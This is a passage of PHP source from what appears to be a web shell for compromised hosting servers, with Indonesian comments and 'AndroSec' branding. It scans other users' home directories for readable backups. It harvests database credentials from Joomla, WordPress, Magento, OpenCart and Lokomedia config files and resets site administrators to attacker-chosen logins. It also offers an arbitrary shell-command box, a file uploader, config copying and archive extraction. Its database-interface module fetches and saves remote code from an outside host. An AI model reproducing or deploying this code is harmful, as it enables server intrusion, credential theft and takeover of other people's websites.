  713. if (is_readable($dirze)) {
  714. echo "<font color='red'>[-]<a href='?path=$dirze</font> -> <font color='blue'>".$domain."</font><br>";
  715. }
  716. $dirzf = '/home/'.$owner['name'].'/BACKUP';
  717. if (is_readable($dirzf)) {
  718. echo "<font color='red'>[-]<a href='?path=$dirzf' target='_blank'><u>$dirzf</u></a></font> -> <font color='blue'>".$domain."</font><br>";
  719. }
  720. $dirzg = '/home/'.$owner['name'].'/quarantine';
  721. if (is_readable($dirzg)) {
  722. echo "<font color='red'>[-]<a href='?path=$dirzg' target='_blank'><u>$dirzg</u></a></font> -> <font color='blue'>".$domain."</font><br>";
  723. }
  724. $dirzh = '/home/'.$owner['name'].'/backup2';
  725. if (is_readable($dirzh)) {
  726. echo "<font color='red'>[-]<a href='?path=$dirzh' target='_blank'><u>$dirzh</u></a></font> -> <font color='blue'>".$domain."</font><br>";
  727. }
  728. $dirzi = '/home/'.$owner['name'].'/new';
  729. if (is_readable($dirzi)) {
  730. echo "<font color='red'>[-]<a href='?path=$dirzi' target='_blank'><u>$dirzi</u></a></font> -> <font color='blue'>".$domain."</font><br>";
  731. }
  732. $dirzj = '/home/'.$owner['name'].'/MyBackup';
  733. if (is_readable($dirzj)) {
  734. echo "<font color='red'>[-]$dirzj</font> -> <font color='blue'>".$domain."</font><br>";
  735. }
  736. $dirzk = '/home/'.$owner['name'].'/mybackup';
  737. if (is_readable($dirzk)) {
  738. echo "<font color='red'>[-]$dirzk</font> -> <font color='blue'>".$domain."</font><br>";
  739. }
  740. $dirzl = '/home/'.$owner['name'].'/backups1';
  741. if (is_readable($dirzl)) {
  742. echo "<font color='red'>[-]<a href='?path=$dirzl' target='_blank'><u>$dirzl</u></a></font> -> <font color='blue'>".$domain."</font><br>";
  743. }
  744. $dirzm = '/home/'.$owner['name'].'/backups2';
  745. if (is_readable($dirzm)) {
  746. echo "<font color='red'>[-]<a href='?path=$dirzm' target='_blank'><u>$dirzm</u></a></font> -> <font color='blue'>".$domain."</font><br>";
  747. }
  748. $dirzn = '/home/'.$owner['name'].'/scriptupdate1';
  749. if (is_readable($dirzn)) {
  750. echo "<font color='red'>[-]$dirzn</font> -> <font color='blue'>".$domain."</font><br>";
  751. }
  752. $dirzo = '/home/'.$owner['name'].'/scriptupdate2';
  753. if (is_readable($dirzo)) {
  754. echo "<font color='red'>[-]$dirzo</font> -> <font color='blue'>".$domain."</font><br>";
  755. }
  756. $dirzp = '/home/'.$owner['name'].'/cobian_backups';
  757. if (is_readable($dirzp)) {
  758. echo "<font color='red'>[-]$dirzp</font> -> <font color='blue'>".$domain."</font><br>";
  759. }
  760. $dirzq = '/home/'.$owner['name'].'/fantastico_backups1';
  761. if (is_readable($dirzq)) {
  762. echo "<font color='red'>[-]<a href='?path=$dirzq' target='_blank'><u>$dirzq</u></a></font> -> <font color='blue'>".$domain."</font><br>";
  763. }
  764. $dirzr = '/home/'.$owner['name'].'/cobian_backup';
  765. if (is_readable($dirzr)) {
  766. echo "<font color='red'>[-]<a href='?path=$dirzr' target='_blank'><u>$dirzr</u></a></font> -> <font color='blue'>".$domain."</font><br>";
  767. }
  768. $dirzs = '/home/'.$owner['name'].'/application_backups';
  769. if (is_readable($dirzs)) {
  770. echo "<font color='red'>[-]<a href='?path=$dirzs' target='_blank'><u>$dirzs</u></a></font> -> <font color='blue'>".$domain."</font><br>";
  771. }
  772. $dirzt = '/home/'.$owner['name'].'/public_html/';
  773. if (is_readable($dirzt)) {
  774. echo "<font color='red'>[-]<a href='?path=$dirzt' target='_blank'><u>$dirzt</u></a></font> -> <font color='blue'>".$domain."</font><br>";
  775. }
  776. $dirzu = '/home/'.$owner['name'].'/public_html.bak1/';
  777. if (is_readable($dirzu)) {
  778. echo "<font color='red'>[-]<a href='?path=$dirzu' target='_blank'><u>$dirzu</u></a></font> -> <font color='blue'>".$domain."</font><br>";
  779. }
  780. $dirzv = '/home/'.$owner['name'].'/public_html.backup/';
  781. if (is_readable($dirzv)) {
  782. echo "<font color='red'>[-]<a href='?path=$dirzv' target='_blank'><u>$dirzv</u></a></font> -> <font color='blue'>".$domain."</font><br>";
  783. }
  784. $dirzw = '/home/'.$owner['name'].'/public_html.backups/';
  785. if (is_readable($dirzw)) {
  786. echo "<font color='red'>[-]<a href='?path=$dirzw' target='_blank'><u>$dirzw</u></a></font> -> <font color='blue'>".$domain."</font><br>";
  787. }
  788. $dirzx = '/home/'.$owner['name'].'/SiteBackup';
  789. if (is_readable($dirzx)) {
  790. echo "<font color='red'>[-]<a href='?path=$dirzx' target='_blank'><u>$dirzx</u></a></font> -> <font color='blue'>".$domain."</font><br>";
  791. }
  792. $dirzy = '/home/'.$owner['name'].'/SiteBackups';
  793. if (is_readable($dirzy)) {
  794. echo "<font color='red'>[-]<a href='?path=$dirzy' target='_blank'><u>$dirzy</u></a></font> -> <font color='blue'>".$domain."</font><br>";
  795. }
  796. $dirzz = '/home/'.$owner['name'].'/softaculous_backups';
  797. if (is_readable($dirzz)) {
  798. echo "<font color='red'>[-]<a href='?path=$$dirzz' target='_blank'><u>$dirzz</u></a></font> -> <font color='blue'>".$domain."</font><br>";
  799. }
  800. $dirya = '/home/'.$owner['name'].'/backupwp';
  801. if (is_readable($dirya)) {
  802. echo "<font color='red'>[-]<a href='?path=$dirya' target='_blank'><u>$dirya</u></a></font> -> <font color='blue'>".$domain."</font><br>";
  803. }
  804. $diryb = '/home/'.$owner['name'].'/backwpup';
  805. if (is_readable($diryb)) {
  806. echo "<font color='red'>[-]<a href='?path=$diryb' target='_blank'><u>$diryb</u></a></font> -> <font color='blue'>".$domain."</font><br>";
  807. }
  808. $diryc = '/home/'.$owner['name'].'/public_htmlfirstaid';
  809. if (is_readable($diryc)) {
  810. echo "<font color='red'>[-]<a href='?path=$diryc' target='_blank'><u>$diryc</u></a></font> -> <font color='blue'>".$domain."</font><br>";
  811. }
  812. $diryd = '/home/'.$owner['name'].'/site';
  813. if (is_readable($diryd)) {
  814. echo "<font color='red'>[-]<a href='?path=$diryd' target='_blank'><u>$diryd</u></a></font> -> <font color='blue'>".$domain."</font><br>";
  815. }
  816. $dirye = '/home/'.$owner['name'].'/backuppro';
  817. if (is_readable($dirye)) {
  818. echo "<font color='red'>[-]<a href='?path=$dirye' target='_blank'><u>$dirye</u></a></font> -> <font color='blue'>".$domain."</font><br>";
  819. }
  820. $diryf = '/home/'.$owner['name'].'/BackupPro';
  821. if (is_readable($diryf)) {
  822. echo "<font color='red'>[-]<a href='?path=$diryf' target='_blank'><u>$diryf</u></a></font> -> <font color='blue'>".$domain."</font><br>";
  823. }
  824. $diryg = '/home/'.$owner['name'].'/old.public_html';
  825. if (is_readable($diryg)) {
  826. echo "<font color='red'>[-]<a href='?path=$diryg' target='_blank'><u>$diryg</u></a></font> -> <font color='blue'>".$domain."</font><br>";
  827. }
  828. $diryh = '/home/'.$owner['name'].'/publi';
  829. if (is_readable($diryh)) {
  830. echo "<font color='red'>[-]<a href='?path=$diryh' target='_blank'><u>$diryh</u></a></font> -> <font color='blue'>".$domain."</font><br>";
  831. }
  832. $diryi = '/home/'.$owner['name'].'/update';
  833. if (is_readable($diryi)) {
  834. echo "<font color='red'>[-]<a href='?path=$diryi' target='_blank'><u>$diryi</u></a></font> -> <font color='blue'>".$domain."</font><br>";
  835. }
  836. $diryj = '/home/'.$owner['name'].'/wordpress.bak';
  837. if (is_readable($diryj)) {
  838. echo "<font color='red'>[-]<a href='?path=$diryj' target='_blank'><u>$diryj</u></a></font> -> <font color='blue'>".$domain."</font><br>";
  839. }
  840. $diryk = '/home/'.$owner['name'].'/.backup';
  841. if (is_readable($diryk)) {
  842. echo "<font color='red'>[-]<a href='?path=$diryk' target='_blank'><u>$diryk</u></a></font> -> <font color='blue'>".$domain."</font><br>";
  843. }
  844. $diryl = '/home/'.$owner['name'].'/.backups';
  845. if (is_readable($diryl)) {
  846. echo "<font color='red'>[-]<a href='?path=$diryl' target='_blank'><u>$diryl</u></a></font> -> <font color='blue'>".$domain."</font><br>";
  847. }
  848. $dirym = '/home/'.$owner['name'].'/.accesshash';
  849. if (is_readable($dirym)) {
  850. echo "<font color='red'>[-]<a href='?path=$dirym' target='_blank'><u>$dirym</u></a></font> -> <font color='blue'>".$domain."</font><br>";
  851. }
  852. $diryn = '/home/'.$owner['name'].'/migration';
  853. if (is_readable($diryn)) {
  854. echo "<font color='red'>[-]<a href='?path=$diryn' target='_blank'><u>$diryn</u></a></font> -> <font color='blue'>".$domain."</font><br>";
  855. }
  856. $diryo = '/home/'.$owner['name'].'/html';
  857. if (is_readable($diryo)) {
  858. echo "<font color='red'>[-]<a href='?path=$diryo' target='_blank'><u>$diryo</u></a></font> -> <font color='blue'>".$domain."</font><br>";
  859. }
  860. $diryp = '/home/'.$owner['name'].'/restore';
  861. if (is_readable($diryp)) {
  862. echo "<font color='red'>[-]<a href='?path=$diryp' target='_blank'><u>$diryp</u></a></font> -> <font color='blue'>".$domain."</font><br>";
  863. }
  864. $diryq = '/home/'.$owner['name'].'/hosting';
  865. if (is_readable($diryq)) {
  866. echo "<font color='red'>[-]<a href='?path=$diryq' target='_blank'><u>$diryq</u></a></font> -> <font color='blue'>".$domain."</font><br>";
  867. }
  868. $diryr = '/home/'.$owner['name'].'/wp';
  869. if (is_readable($diryr)) {
  870. echo "<font color='red'>[-]<a href='?path=$diryr' target='_blank'><u>$diryr</u></a></font> -> <font color='blue'>".$domain."</font><br>";
  871. }
  872. $dirys = '/home/'.$owner['name'].'/shop';
  873. if (is_readable($dirys)) {
  874. echo "<font color='red'>[-]<a href='?path=$dirys' target='_blank'><u>$dirys</u></a></font> -> <font color='blue'>".$domain."</font><br>";
  875. }
  876. $diryt = '/home/'.$owner['name'].'/distrib';
  877. if (is_readable($diryt)) {
  878. echo "<font color='red'>[-]<a href='?path=$diryt' target='_blank'><u>$diryt</u></a></font> -> <font color='blue'>".$domain."</font><br>";
  879. }
  880. $diryu = '/home/'.$owner['name'].'/test';
  881. if (is_readable($diryu)) {
  882. echo "<font color='red'>[-]<a href='?path=$diryu' target='_blank'><u>$diryu</u></a></font> -> <font color='blue'>".$domain."</font><br>";
  883. }
  884. $diryv = '/home/'.$owner['name'].'/hg_backup';
  885. if (is_readable($diryv)) {
  886. echo "<font color='red'>[-]<a href='?path=$diryv' target='_blank'><u>$diryv</u></a></font> -> <font color='blue'>".$domain."</font><br>";
  887. }
  888. $diryw = '/home/'.$owner['name'].'/public_html1';
  889. if (is_readable($diryw)) {
  890. echo "<font color='red'>[-]<a href='?path=$diryw' target='_blank'><u>$diryw</u></a></font> -> <font color='blue'>".$domain."</font><br>";
  891. }
  892. $diryx = '/home/'.$owner['name'].'/backups-manual';
  893. if (is_readable($diryx)) {
  894. echo "<font color='red'>[-]<a href='?path=$diryx' target='_blank'><u>$diryx</u></a></font> -> <font color='blue'>".$domain."</font><br>";
  895. }
  896. $diryy = '/home/'.$owner['name'].'/public_html_upgraded';
  897. if (is_readable($diryy)) {
  898. echo "<font color='red'>[-]<a href='?path=$diryy' target='_blank'><u>$diryy</u></a></font> -> <font color='blue'>".$domain."</font><br>";
  899. }
  900. $diryz = '/home/'.$owner['name'].'/olllld.public_html';
  901. if (is_readable($diryz)) {
  902. echo "<font color='red'>[-]<a href='?path=$diryz' target='_blank'><u>$diryz</u></a></font> -> <font color='blue'>".$domain."</font><br>";
  903. }
  904. }
  905. }
  906.  
  907. }
  908. elseif($_GET['ext'] == 'autoedt') {
  909. if($_POST['hajar']) {
  910. if(strlen($_POST['pass_baru']) < 6 OR strlen($_POST['user_baru']) < 6) {
  911. echo "username atau password harus lebih dari 6 karakter";
  912. } else {
  913. $user_baru = $_POST['user_baru'];
  914. $pass_baru = md5($_POST['pass_baru']);
  915. $conf = $_POST['config_dir'];
  916. $scan_conf = scandir($conf);
  917. foreach($scan_conf as $file_conf) {
  918. if(!is_file("$conf/$file_conf")) continue;
  919. $config = file_get_contents("$conf/$file_conf");
  920. if(preg_match("/JConfig|joomla/",$config)) {
  921. $dbhost = ambilkata($config,"host = '","'");
  922. $dbuser = ambilkata($config,"user = '","'");
  923. $dbpass = ambilkata($config,"password = '","'");
  924. $dbname = ambilkata($config,"db = '","'");
  925. $dbprefix = ambilkata($config,"dbprefix = '","'");
  926. $prefix = $dbprefix."users";
  927. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  928. $db = mysql_select_db($dbname);
  929. $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  930. $result = mysql_fetch_array($q);
  931. $id = $result['id'];
  932. $site = ambilkata($config,"sitename = '","'");
  933. $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE id='$id'");
  934. echo "Config => ".$file_conf."<br>";
  935. echo "CMS => Joomla<br>";
  936. if($site == '') {
  937. echo "Sitename => <font color=red>error, gabisa ambil nama domain nya</font><br>";
  938. } else {
  939. echo "Sitename => $site<br>";
  940. }
  941. if(!$update OR !$conn OR !$db) {
  942. echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  943. } else {
  944. echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  945. }
  946. mysql_close($conn);
  947. } elseif(preg_match("/WordPress/",$config)) {
  948. $dbhost = ambilkata($config,"DB_HOST', '","'");
  949. $dbuser = ambilkata($config,"DB_USER', '","'");
  950. $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
  951. $dbname = ambilkata($config,"DB_NAME', '","'");
  952. $dbprefix = ambilkata($config,"table_prefix = '","'");
  953. $prefix = $dbprefix."users";
  954. $option = $dbprefix."options";
  955. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  956. $db = mysql_select_db($dbname);
  957. $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  958. $result = mysql_fetch_array($q);
  959. $id = $result[ID];
  960. $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
  961. $result2 = mysql_fetch_array($q2);
  962. $target = $result2[option_value];
  963. if($target == '') {
  964. $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  965. } else {
  966. $url_target = "Login => <a href='$target/wp-login.php' target='_blank'><u>$target/wp-login.php</u></a><br>";
  967. }
  968. $update = mysql_query("UPDATE $prefix SET user_login='$user_baru',user_pass='$pass_baru' WHERE id='$id'");
  969. echo "Config => ".$file_conf."<br>";
  970. echo "CMS => Wordpress<br>";
  971. echo $url_target;
  972. if(!$update OR !$conn OR !$db) {
  973. echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  974. } else {
  975. echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  976. }
  977. mysql_close($conn);
  978. } elseif(preg_match("/Magento|Mage_Core/",$config)) {
  979. $dbhost = ambilkata($config,"<host><![CDATA[","]]></host>");
  980. $dbuser = ambilkata($config,"<username><![CDATA[","]]></username>");
  981. $dbpass = ambilkata($config,"<password><![CDATA[","]]></password>");
  982. $dbname = ambilkata($config,"<dbname><![CDATA[","]]></dbname>");
  983. $dbprefix = ambilkata($config,"<table_prefix><![CDATA[","]]></table_prefix>");
  984. $prefix = $dbprefix."admin_user";
  985. $option = $dbprefix."core_config_data";
  986. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  987. $db = mysql_select_db($dbname);
  988. $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
  989. $result = mysql_fetch_array($q);
  990. $id = $result[user_id];
  991. $q2 = mysql_query("SELECT * FROM $option WHERE path='web/secure/base_url'");
  992. $result2 = mysql_fetch_array($q2);
  993. $target = $result2[value];
  994. if($target == '') {
  995. $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  996. } else {
  997. $url_target = "Login => <a href='$target/admin/' target='_blank'><u>$target/admin/</u></a><br>";
  998. }
  999. $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
  1000. echo "Config => ".$file_conf."<br>";
  1001. echo "CMS => Magento<br>";
  1002. echo $url_target;
  1003. if(!$update OR !$conn OR !$db) {
  1004. echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  1005. } else {
  1006. echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  1007. }
  1008. mysql_close($conn);
  1009. } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/",$config)) {
  1010. $dbhost = ambilkata($config,"'DB_HOSTNAME', '","'");
  1011. $dbuser = ambilkata($config,"'DB_USERNAME', '","'");
  1012. $dbpass = ambilkata($config,"'DB_PASSWORD', '","'");
  1013. $dbname = ambilkata($config,"'DB_DATABASE', '","'");
  1014. $dbprefix = ambilkata($config,"'DB_PREFIX', '","'");
  1015. $prefix = $dbprefix."user";
  1016. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  1017. $db = mysql_select_db($dbname);
  1018. $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
  1019. $result = mysql_fetch_array($q);
  1020. $id = $result[user_id];
  1021. $target = ambilkata($config,"HTTP_SERVER', '","'");
  1022. if($target == '') {
  1023. $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  1024. } else {
  1025. $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a><br>";
  1026. }
  1027. $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
  1028. echo "Config => ".$file_conf."<br>";
  1029. echo "CMS => OpenCart<br>";
  1030. echo $url_target;
  1031. if(!$update OR !$conn OR !$db) {
  1032. echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  1033. } else {
  1034. echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  1035. }
  1036. mysql_close($conn);
  1037. } elseif(preg_match("/panggil fungsi validasi xss dan injection/",$config)) {
  1038. $dbhost = ambilkata($config,'server = "','"');
  1039. $dbuser = ambilkata($config,'username = "','"');
  1040. $dbpass = ambilkata($config,'password = "','"');
  1041. $dbname = ambilkata($config,'database = "','"');
  1042. $prefix = "users";
  1043. $option = "identitas";
  1044. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  1045. $db = mysql_select_db($dbname);
  1046. $q = mysql_query("SELECT * FROM $option ORDER BY id_identitas ASC");
  1047. $result = mysql_fetch_array($q);
  1048. $target = $result[alamat_website];
  1049. if($target == '') {
  1050. $target2 = $result[url];
  1051. $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  1052. if($target2 == '') {
  1053. $url_target2 = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  1054. } else {
  1055. $cek_login3 = file_get_contents("$target2/adminweb/");
  1056. $cek_login4 = file_get_contents("$target2/lokomedia/adminweb/");
  1057. if(preg_match("/CMS Lokomedia|Administrator/", $cek_login3)) {
  1058. $url_target2 = "Login => <a href='$target2/adminweb' target='_blank'><u>$target2/adminweb</u></a><br>";
  1059. } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login4)) {
  1060. $url_target2 = "Login => <a href='$target2/lokomedia/adminweb' target='_blank'><u>$target2/lokomedia/adminweb</u></a><br>";
  1061. } else {
  1062. $url_target2 = "Login => <a href='$target2' target='_blank'><u>$target2</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
  1063. }
  1064. }
  1065. } else {
  1066. $cek_login = file_get_contents("$target/adminweb/");
  1067. $cek_login2 = file_get_contents("$target/lokomedia/adminweb/");
  1068. if(preg_match("/CMS Lokomedia|Administrator/", $cek_login)) {
  1069. $url_target = "Login => <a href='$target/adminweb' target='_blank'><u>$target/adminweb</u></a><br>";
  1070. } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login2)) {
  1071. $url_target = "Login => <a href='$target/lokomedia/adminweb' target='_blank'><u>$target/lokomedia/adminweb</u></a><br>";
  1072. } else {
  1073. $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
  1074. }
  1075. }
  1076. $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE level='admin'");
  1077. echo "Config => ".$file_conf."<br>";
  1078. echo "CMS => Lokomedia<br>";
  1079. if(preg_match('/error, gabisa ambil nama domain nya/', $url_target)) {
  1080. echo $url_target2;
  1081. } else {
  1082. echo $url_target;
  1083. }
  1084. if(!$update OR !$conn OR !$db) {
  1085. echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  1086. } else {
  1087. echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  1088. }
  1089. mysql_close($conn);
  1090. }
  1091. }
  1092. }
  1093. } else {
  1094. echo "<center>
  1095. <h1>Auto Edit User Config</h1>
  1096. <form method='post'>
  1097. DIR Config: <br>
  1098. <input type='text' size='50' name='config_dir' value='$offdir'><br><br>
  1099. Set User & Pass: <br>
  1100. <input type='text' name='user_baru' value='AndroGhost' placeholder='user_baru'><br>
  1101. <input type='text' name='pass_baru' value='AndroGhost' placeholder='pass_baru'><br>
  1102. <input type='submit' name='hajar' value='Hajar!' style='width: 215px;'>
  1103. </form>
  1104. <span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br>
  1105. ";
  1106. }
  1107. }
  1108.  
  1109. else if($_GET['ext'] == 'movecfg') {
  1110. $cok = $_SERVER['DOCUMENT_ROOT'];
  1111. if(is_writable($cok.'/xi4u7_cfg')) {
  1112. echo '<form method="post" action="">';
  1113. echo '<input name="dancok" type="text" placeholder="user-cms.txt">';
  1114. echo '<input name="pindahx" type="submit" value="MOVE">';
  1115. echo '</form>';
  1116. if(!empty($_POST['pindahx'])) {
  1117. exect('cat '.$_GET['cfg'].' > '.$cok.'/xi4u7_cfg/'.$_POST['dancok']);
  1118. echo '<a href="?path='.$cok.'/xi4u7_cfg">Done! Click Here</a>';
  1119. }
  1120. else {
  1121. echo 'FAILED!!';
  1122. }
  1123. }
  1124. else {
  1125. mkdir($cok.'/xi4u7_cfg');
  1126. echo '<form method="post" action="">';
  1127. echo '<input name="dancok" type="text" placeholder="user-cms.txt">';
  1128. echo '<input name="pindahx" type="submit" value="MOVE">';
  1129. echo '</form>';
  1130. if(!empty($_POST['pindahx'])) {
  1131. exect('cat '.$_GET['cfg'].' > '.$cok.'/xi4u7_cfg/'.$_POST['dancok']);
  1132. echo '<a href="?path='.$cok.'/xi4u7_cfg">Done! Click Here</a>';
  1133. }
  1134. else {
  1135. echo 'FAILED!!';
  1136. }
  1137. }
  1138. }
  1139.  
  1140. ### EXTRACTOR TO TMP ###
  1141. else if($_GET['ext'] == 'extract2tmp')
  1142. {
  1143. if (file_exists($_SERVER["DOCUMENT_ROOT"].'/tmp/') && is_writable($_SERVER["DOCUMENT_ROOT"].'/tmp/')) {
  1144. $tmppath = $_SERVER["DOCUMENT_ROOT"].'/tmp/';
  1145. }
  1146. else if(file_exists(dirname($_SERVER["DOCUMENT_ROOT"]).'/tmp/') && is_writable(dirname($_SERVER["DOCUMENT_ROOT"]).'/tmp/')) {
  1147. $tmppath = dirname($_SERVER["DOCUMENT_ROOT"]).'/tmp/';
  1148. }
  1149. else if(file_exists('/tmp/') && is_writable('/tmp/')) {
  1150. $tmppath = '/tmp/';
  1151. }
  1152. else {
  1153. $tmppath = '';
  1154. }
  1155.  
  1156. if(!empty($tmppath)) {
  1157. $gzfile = $_GET['gzname'];
  1158. echo '[FILE] '.$gzfile.'<br>';
  1159. echo '-- extract to --<br>';
  1160. echo '[TMP] '.$tmppath.'<br>';
  1161. $bsname = basename($gzfile);
  1162. $gzrname = explode(".", $bsname);
  1163. echo '<form method="post" action="">';
  1164. echo '<input name="extract" type="submit" value="EXTRACT">';
  1165. echo '</form>';
  1166. if(!empty($_POST['extract'])) {
  1167. exect('mkdir '.$tmppath.$gzrname[0]);
  1168. $destdir = $tmppath.$gzrname[0];
  1169. if (file_exists($destdir) && is_writable($destdir)) {
  1170. echo "\n".'[EXTRACTED] <a href="?path='.$destdir.'">'.$destdir.'</a>'."\n";
  1171. exect('tar -xzvf '.$gzfile.' -C '.$destdir);
  1172. }
  1173. else
  1174. {
  1175. echo 'FAILED!';
  1176. }
  1177. }
  1178. }
  1179. else {
  1180. echo 'CANNOT EXTRACT TO TMP!';
  1181. }
  1182.  
  1183. }
  1184. ### EXTRACTOR TO TMP - EOF ###
  1185.  
  1186. ### CMD ###
  1187. else if($_GET['ext'] == 'shellcmd')
  1188. {
  1189. echo '<h2>.::[ Shell Command ]::.</h2>';
  1190. echo '<form method="post" action="">';
  1191. echo 'terminal:~$ <input name="cmd" type="text" placeholder="echo AndroSec1337" style="width:300px"/>';
  1192. echo ' <input type="submit" value=">>"/>';
  1193. echo '</form>';
  1194. if(!empty($_POST['cmd'])) {
  1195. echo '<textarea style="width:100%;height:150px;" readonly>';
  1196. $cmd = $_POST['cmd'];
  1197. echo exect($cmd);
  1198. echo '</textarea>';
  1199. }
  1200. }
  1201. ### CMD EOF ###
  1202.  
  1203. ### UPLOADER ###
  1204. else if($_GET['ext'] == 'uploader')
  1205. {
  1206. echo '<h2>.::[ Uploader ]::.</h2>';
  1207. echo '<center>';
  1208. echo '<form method=post enctype=multipart/form-data>';
  1209. echo '<br><br>PATH ['.$offdir.']<br>';
  1210. echo '<input type="file" name="zerofile"><input name="postupl" type="submit" value="Upload"><br>';
  1211. echo '</form>';
  1212. if($_POST["postupl"] == 'Upload')
  1213. {
  1214. if(@copy($_FILES["zerofile"]["tmp_name"],"$offdir/".$_FILES["zerofile"]["name"]))
  1215. { echo '<b>OK! '."$offdir/".$_FILES["zerofile"]["name"].'</b>'; }
  1216. else
  1217. { echo '<b>Upload Failed.</b>'; }
  1218. }
  1219. echo '</center>';
  1220. }
  1221. ### UPLOADER EOF ###
  1222.  
  1223. ### MYSQL INTERFACE ###
  1224. else if($_GET['ext'] == 'sql_interface')
  1225. {
  1226. echo '<h2>.::[ MySQL Interface ]::.</h2>';
  1227. echo '<center>';
  1228. $dwadminer = 'http://xi4u7.net/adminer.txt';
  1229. $fileadminer = 'x-adminer.php';
  1230. function call_adminer($dwadminer, $fileadminer) {
  1231. $fp = fopen($fileadminer, "w+");
  1232. $ch = curl_init();
  1233. curl_setopt($ch, CURLOPT_URL, $dwadminer);
  1234. curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
  1235. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  1236. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  1237. curl_setopt($ch, CURLOPT_FILE, $fp);
  1238. return curl_exec($ch);
  1239. curl_close($ch);
  1240. fclose($fp);
  1241. ob_flush();
  1242. flush();
  1243. file_put_contents($dwadminer, $fileadminer);
  1244. }
  1245. echo '<form method=post enctype=multipart/form-data>';
  1246. echo '<input name="mysql_int" type="submit" value="Call Adminer 4.3.1"><br>';
  1247. echo '</form>';
  1248. if($_POST['mysql_int'] == 'Call Adminer 4.3.1') {
  1249. call_adminer($dwadminer, $fileadminer);
  1250. $linkz = (isset($_SERVER['HTTPS']) ? "https" : "http") . "://$_SERVER[HTTP_HOST]";
  1251. if(file_exists('x-adminer.php')) {
  1252. echo '<a href="'.$linkz.dirname($_SERVER['PHP_SELF']).'/'.$fileadminer.'" target="_blank">Adminer OK!</a>';
  1253. }
  1254. else {
  1255. echo '<font color="red">[FAILED]</a>';
  1256. }
  1257.  
  1258. }
  1259. echo '</center>';
  1260. }
  1261. ### MYSQL INTERFACE EOF ###
  1262.  
  1263.  
  1264. ### TAMBAHAN BACKUPWORDPRESS BASH ###
  1265. if($_GET['grab'] == 'wp_options') {
  1266. $userdb = $_POST['wpuser'];
  1267. $passdb = $_POST['wppass'];
  1268. $namedb = $_POST['wpdb'];
  1269. $hostdb = $_POST['wphost'];
  1270. echo 'WP_OPTIONS';
  1271. if(!empty($userdb)) {
  1272. $link = mysql_connect($hostdb, $userdb, $passdb);
  1273. if (!$link) {die('Could not connect: ' . mysql_error());}
  1274. if (!mysql_select_db($namedb)) {die('Could not select database: ' . mysql_error());}
  1275. //
  1276. $tblz = mysql_query("SELECT table_name FROM information_schema.tables WHERE table_schema='".$namedb."' AND table_name LIKE '%_options' LIMIT 1");
  1277. if (!$tblz) {die('Could not query:' . mysql_error());}
  1278. $tbl = mysql_result($tblz, 0, 'table_name'); // outputs third employee's name
  1279. $result = mysql_query("SELECT option_value FROM ".$tbl." WHERE option_name = 'siteurl' AND option_id = '1'");
  1280. if (!$result) {die('Tbl Could not query:' . mysql_error());}
  1281. echo "\n".'[DOMAIN] '.mysql_result($result, 0, 'option_value')."\n"; // outputs third employee's name
  1282. mysql_close($link);
  1283. }
  1284. } else if($_GET['grab'] == 'wp_users_updt') {
  1285. $userdb = $_POST['wpuser'];
  1286. $passdb = $_POST['wppass'];
  1287. $namedb = $_POST['wpdb'];
  1288. $hostdb = $_POST['wphost'];
  1289. $prefix = $_POST['tpfx'];
  1290. echo 'WP_USERS';
  1291. $conn = new mysqli($hostdb, $userdb, $passdb, $namedb);
  1292. if ($conn->connect_error) {
  1293. die("Connection failed: " . $conn->connect_error);
  1294. }
  1295. $sql = "UPDATE ".$prefix."users SET user_login = 'sAdmin', user_pass = MD5('AndroSec1337') WHERE user_status = '0' LIMIT 1";
  1296. if ($conn->query($sql) === TRUE) {
  1297. echo "Record updated successfully";
  1298. } else {
  1299. echo "Error updating record: " . $conn->error;
  1300. }
  1301. $conn->close();
  1302. }
  1303. ### TAMBAHAN BACKUPWORDPRESS BASH EOF ###
  1304.  
  1305.  
  1306.  
  1307. ### FOOTER ###
  1308. echo '<div class="footer">';
